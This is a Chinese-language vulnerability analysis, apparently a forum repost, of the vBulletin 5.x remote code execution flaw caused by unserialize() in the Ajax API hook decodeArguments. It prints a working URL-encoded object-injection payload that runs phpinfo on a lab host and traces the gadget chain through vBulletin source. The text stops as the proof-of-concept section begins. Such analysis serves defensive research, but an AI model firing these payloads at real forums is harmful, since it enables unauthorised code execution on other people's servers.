阅读:2359回复:0
unserialize() 实战之 vBulletin 5.x.x 远程代码执行
Author: RickGray (知道创宇404安全实验室)
近日,vBulletin 的一枚 RCE 利用和简要的分析被曝光,产生漏洞的原因源于 vBulletin 程序在处理 Ajax API 调用的时候,使用 unserialize() 对传递的参数值进行了反序列化操作,导致攻击者使用精心构造出的 Payload 直接导致代码执行。关于 PHP 中反序列化漏洞的问题可以参考 OWASP 的《PHP Object Injection》。 使用 原文 提供的 Payload 可以直接在受影响的站点上执行 phpinfo(1): 图片:2015110915520980114110.png 具体 Payload 的构造过程也文中有所提及,但是笔者在对 vBulletin 5.1.x 版本进行测试的时候,发现原本的 Payload 并不能成功,甚是疑惑。然而在深入分析后,发现在具体利用的时候还需要结合 vBulletin 程序本身的一些代码结构才能得到一个较为通用的 Payload,通过下面的分析后就能够明白。 ◆0 反序列化触发点跟踪 虽然此次漏洞 unserialize() 函数的触发在曝光的文章中已经描述的很清楚了,并且对整个关键代码的触发流程也进行了说明,但是在深入跟踪和分析时,觉得还是有值得注意和学习的地方。 http://172.16.96.130/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D 通过观察服务端在处理PHP时的调用栈,可知服务端在处理上述请求时,会将 ajax/api/hook/decodeArguments 作为路由参数 $_REQUEST['routestring'] 传递给地址路由处理过程。因其符合 ajax/api/[controller]/[method] 的 Ajax API 请求路由格式,会再调用 vB5_Frontend_ApplicationLight 实例中的 handleAjaxApi() 函数来进行相应的模块加载并调用处理函数: #!php protected function handleAjaxApi() { $routeInfo = explode('/', $_REQUEST['routestring']); if (count($routeInfo) < 4) { throw new vB5_Exception_Api('ajax', 'api', array(), 'invalid_request'); } $params = array_merge($_POST, $_GET); $this->sendAsJson(Api_InterfaceAbstract::instance(Api_InterfaceAbstract::API_LIGHT)->callApi($routeInfo[2], $routeInfo[3], $params, true)); } 请求的 ajax/api/hook/decodeArguments 会实例化 hook 类然后调用 decodeArguments() 函数,原文中所提及的触发点就在此处: #!php public function decodeArguments($arguments) { if ($args = @unserialize($arguments)) { $result = ''; foreach ($args AS $varname => $value) { $result .= $varname; 通过反序列化,我们可以使之能生成在执行环境上下文中已经定义好了的类实例,并通过寻找一个含有 __wakeup() 或者 __destruct() 魔术方法存在问题的类来进行利用。然后原文中所提到的利用方法并不是这样,其使用的是继承于 PHP 迭代器类型的 vB_dB_Result 类,由于 $args = @unserialize($arguments) 产生了一个迭代器 vB_dB_Result 类实例,因此在后面进行 foreach 操作时会首先调用其 rewind() 函数。 而在 rewind() 函数处理过程中,会根据实例变量状态进行调用: #!php public function rewind() { if ($this->recordset) { $this->db->free_result($this->recordset); } 这里就可以通过反序列化来控制 $this->recordset 的值,并且 $this->db->free_result 最终会调用: #!php function free_result($queryresult) { $this->sql = ''; return @$this->functions['free_result']($queryresult); } $this->functions['free_result'] 原本的初始化值为 mysql_free_result,但是由于反序列化的原因,我们也能控制 vB_dB_Result 类实例中的 db 成员,更改其对应的 functions['free_result'] 为我们想要执行的函数,因此一个任意代码执行就产生了。 ◆1 利用分析和完善 观察一下原文中提供的 Payload 构造 PoC: #!php |
|
|